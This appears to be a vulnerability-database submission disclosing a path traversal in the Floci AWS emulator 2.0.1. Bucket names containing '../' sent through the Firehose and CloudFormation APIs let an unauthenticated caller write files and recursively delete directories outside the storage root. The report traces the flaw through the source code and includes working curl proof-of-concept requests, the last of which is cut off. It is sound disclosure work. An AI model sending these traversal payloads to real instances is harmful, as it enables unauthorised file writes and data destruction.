| 标题 | floci-io Floci (local AWS emulator) 2.0.1 (the released tag `2.0.1` carries the same `DeliveryStreamDescription`, `FirehoseService`, `S3Service` and `S3CfnProvisioner` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head) Path |
|---|
| 描述 | S3 bucket-name path traversal via the Floci Firehose and CloudFormation APIs allows arbitrary file write and recursive delete outside the storage root
Vendor: floci-io
Affected versions: 2.0.1 (the released tag `2.0.1` carries the same `DeliveryStreamDescription`, `FirehoseService`, `S3Service` and `S3CfnProvisioner` code; reviewed at commit a5ab1672f9305299e3b7a32d67ce12b1d89f1199, the 2.0.1 head)
Vulnerability class: Path traversal — arbitrary file write and recursive directory delete outside the storage root (CWE-22)
Preconditions: no credentials — request-auth enforcement is opt-in (`floci.protocols.enforce-auth`, default off; README: "Credentials can be any non-empty values unless you explicitly enable stricter service-specific auth checks"); the emulator listens on `x.x.x.x:4566` by default. Anyone who can reach a running instance is the effective caller.
S3 bucket-name path traversal via the Floci Firehose and CloudFormation APIs allows arbitrary file write and recursive delete outside the storage root
Data flow: caller `BucketARN` / `BucketName` → `S3Destination.bucketName()` / `ProvisionContext.stablePhysicalName` (no bucket-name grammar check) → `S3Service.resolveObjectPath` builds `dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName).normalize()` (containment checked only against that already-escaped bucketDir) → Firehose `s3Service.putObject` write / CloudFormation `s3Service.deleteBucket` recursive delete
### Affected interfaces
| Interface |
|---|
| POST / with `X-Amz-Target: Firehose_20150804.CreateDeliveryStream` (body `S3DestinationConfiguration.BucketARN` / `ExtendedS3DestinationConfiguration.BucketARN`) + `Firehose_20150804.PutRecord` — arbitrary file write; written names always end in `.s3data` |
| POST / CloudFormation Query protocol `Action=CreateStack` (template `AWS::S3::Bucket` `Properties.BucketName`) and `Action=DeleteStack` — bucket creation at an escaped path and recursive delete |
Primary route detail:
```
POST /
X-Amz-Target: Firehose_20150804.CreateDeliveryStream
{"DeliveryStreamName": "<name>",
"S3DestinationConfiguration": {"RoleARN": "arn:aws:iam::000000000000:role/x",
"BucketARN": "arn:aws:s3:::../../../../<escaped-path>"}}
```
Floci builds the on-disk location of a bucket by concatenating the raw bucket name onto the storage root (`<persistent-path>/s3/.accounts/<account>/<bucketName>`) and only checks that the object key stays inside that already-concatenated directory. Because `S3Service.createBucket` deliberately does not validate the bucket-name format (in-code comment: "Floci doesn't otherwise validate bucket name format"), a bucket name containing `../` segments — undeliverable through the S3 REST API (the HTTP layer normalises the path) but deliverable through the AWS-JSON-1.1 bodies of Firehose and the CloudFormation Query API — moves the bucket directory outside the storage root. The follow-up write (Firehose delivery) and delete (CloudFormation stack deletion) then operate on that escaped path with attacker-controlled data. The bucket name is meant to name a bucket inside the emulator's storage root — the escape of that scope is the defect, not a capability the product offers.
### Root cause
1. **Source (Firehose)** — `services/firehose/model/DeliveryStreamDescription.java:422-425`: `S3Destination.bucketName()` returns everything after the last `:` of the caller-supplied `BucketARN`; there is no character or segment validation (`S3DestinationValidator` only checks enum/pattern members such as `CompressionFormat`/`FileExtension`).
2. **Source (CloudFormation)** — `services/cloudformation/provisioners/S3CfnProvisioner.java:73-75` calls `ctx.stablePhysicalName(props.BucketName, ...)`; `ProvisionContext.stablePhysicalName` (`.../ProvisionContext.java:113-117`) returns an explicitly supplied name unchanged (no sanitisation, no AWS bucket-name grammar check).
3. **Sink (write)** — `services/firehose/FirehoseService.java:979-990` (`resolveBucket` → `ensureBucket`) and `:938-941` (`s3Service.putObject(bucket, key, body, ...)`) pass the name to `S3Service.putObject`, which writes through `S3Service.resolveObjectPath` (`services/s3/S3Service.java:4473-4484`):
```java
Path bucketDir = dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName).normalize();
...
Path resolved = bucketDir.resolve(safeKey + DATA_SUFFIX).normalize();
if (!resolved.startsWith(bucketDir)) { throw new AwsException("InvalidKey", ...); }
```
The containment test is performed against the **already-escaped** `bucketDir`, so `../` in `bucketName` walks the write out of `dataRoot` and the check still passes.
4. **Sink (delete)** — `S3CfnProvisioner.java:146-150` calls `s3Service.deleteBucket(physicalId)` on `DeleteStack`; `services/s3/S3Service.java:325-357` emptiness-checks the bucket and then runs `deleteDirectory(dataRoot.resolve(ACCOUNT_STORAGE_ROOT).resolve(ownerId()).resolve(bucketName))` — a recursive delete of the escaped directory.
5. **Why the name is not validated anywhere else** — `services/s3/S3Service.java:296-303` only rejects the literal name `accounts`, with the in-code comment "Floci doesn't otherwise validate bucket name format"; the S3 REST layer cannot reach the bug because the HTTP stack normalises `..` out of the request path, whereas the Firehose/CloudFormation bodies never pass through that layer.
The missing guard is a bucket-name grammar check (or a storage-root containment check on `bucketDir`) at the single boundary where a bucket is created or looked up.
Baseline: Floci 2.0.1, commit `a5ab1672f9305299e3b7a32d67ce12b1d89f1199`, self-hosted on the reporter's own host on `x.x.x.x:14580` with `floci.storage.mode=persistent` and a local storage root; Firehose flushing forced one-record-at-a-time with the documented emulator-only switch `floci.services.firehose.flush-record-count=1` (it changes when the buffered record is delivered, not where it is written). Unique nonce: `cv3flocifirehose1789408075`.
**1. Control — a normal bucket name writes inside the storage root**
```sh
$ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.CreateDeliveryStream' \
-d '{"DeliveryStreamName":"cv3-normal-cv3flocifirehose1789408075",
"S3DestinationConfiguration":{"RoleARN":"arn:aws:iam::000000000000:role/x",
"BucketARN":"arn:aws:s3:::cv3-normal-bucket-cv3flocifirehose1789408075",
"BufferingHints":{"SizeInMBs":1,"IntervalInSeconds":60}}}'
200 {"DeliveryStreamARN":"arn:aws:firehose:us-east-1:000000000000:deliverystream/cv3-normal-..."}
$ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.PutRecord' \
-d '{"DeliveryStreamName":"cv3-normal-cv3flocifirehose1789408075",
"Record":{"Data":"Q1YzLUNPTlRST0wtY3YzZmxvY2lmaXJlaG9zZTE3ODk0MDgwNzU="}}' # base64("CV3-CONTROL-...")
200 {"RecordId":"a9133d5e-..."}
```
Flush log: `Flushed 1 records ... to s3://cv3-normal-bucket-...` → file inside the storage root: `floci-data/s3/.accounts/000000000000/cv3-normal-bucket-.../2026/09/14/17/...-1-....s3data` (39 bytes, content `CV3-CONTROL-cv3flocifirehose1789408075`).
**2. Positive — an escaping bucket name writes outside the storage root**
```sh
$ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.CreateDeliveryStream' \
-d '{"DeliveryStreamName":"cv3-escape-cv3flocifirehose1789408075",
"S3DestinationConfiguration":{"RoleARN":"arn:aws:iam::000000000000:role/x",
"BucketARN":"arn:aws:s3:::../../../../cv3-escape-out/planted",
"BufferingHints":{"SizeInMBs":1,"IntervalInSeconds":60}}}'
200 ; server log: S3Service - Created bucket: ../../../../cv3-escape-out/planted in region: us-east-1
$ curl -s -X POST http://127.0.0.1:14580/ -H 'X-Amz-Target: Firehose_20150804.PutRecord' \
-d '{"DeliveryStreamName":"cv3-escape-cv3flocifirehose1789408075",
"Record":{"Data":"Q1YzLUVTQ0FQRUQtY3YzZmxvY2lmaXJlaG9zZTE3ODk0MDgwNzU="}}' # base64("CV3-ESCAPED-...")
200
```
Flush log: `Flushed 1 records from stream .../cv3-escape-... to s3://../../../../cv3-escape-out/planted/2026/09/14/17/...` → file outside the storage root: `<work>/cv3-escape-out/planted/2026/09/14/17/cv3-escape-...-1-....s3data` (39 bytes, content `CV3-ESCAPED-cv3flocifirehose1789408075`, confirmed by locating the file and reading its content back).
**3. Positive — CloudFormation recursive delete outside the storage root**
```sh
$ curl -s -X POST http://127.0.0.1:14580/ -d 'Action=CreateStack&Version=2010-05-15&StackName=cv3-traversal-stack' \
--data-urlencode 'TemplateBody={"Resources":{"Cv3Bucket":{"Type":"AWS::S3::Bucket","Properties":{"BucketName":"../../../../cv3-delete-target"}}}}'
200 CREATE_COMPLETE ; server log: Created bucket: ../../../../cv3-delete-target
$ curl -s -X POST http://127.0.0.1:14580/ -d |
|---|
| 来源 | ⚠️ https://github.com/floci-io/floci |
|---|
| 用户 | lucasg2g (UID 84737) |
|---|
| 提交 | 2026-10-15 07時31分 (24 日前) |
|---|
| 管理 | 2026-11-08 11時56分 (24 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 432813 [floci-io Floci 直到 2.1.0 S3 Destination Configuration DeliveryStreamDescription.java S3Destination.bucketName BucketARN 目录遍历] |
|---|
| 积分 | 20 |
|---|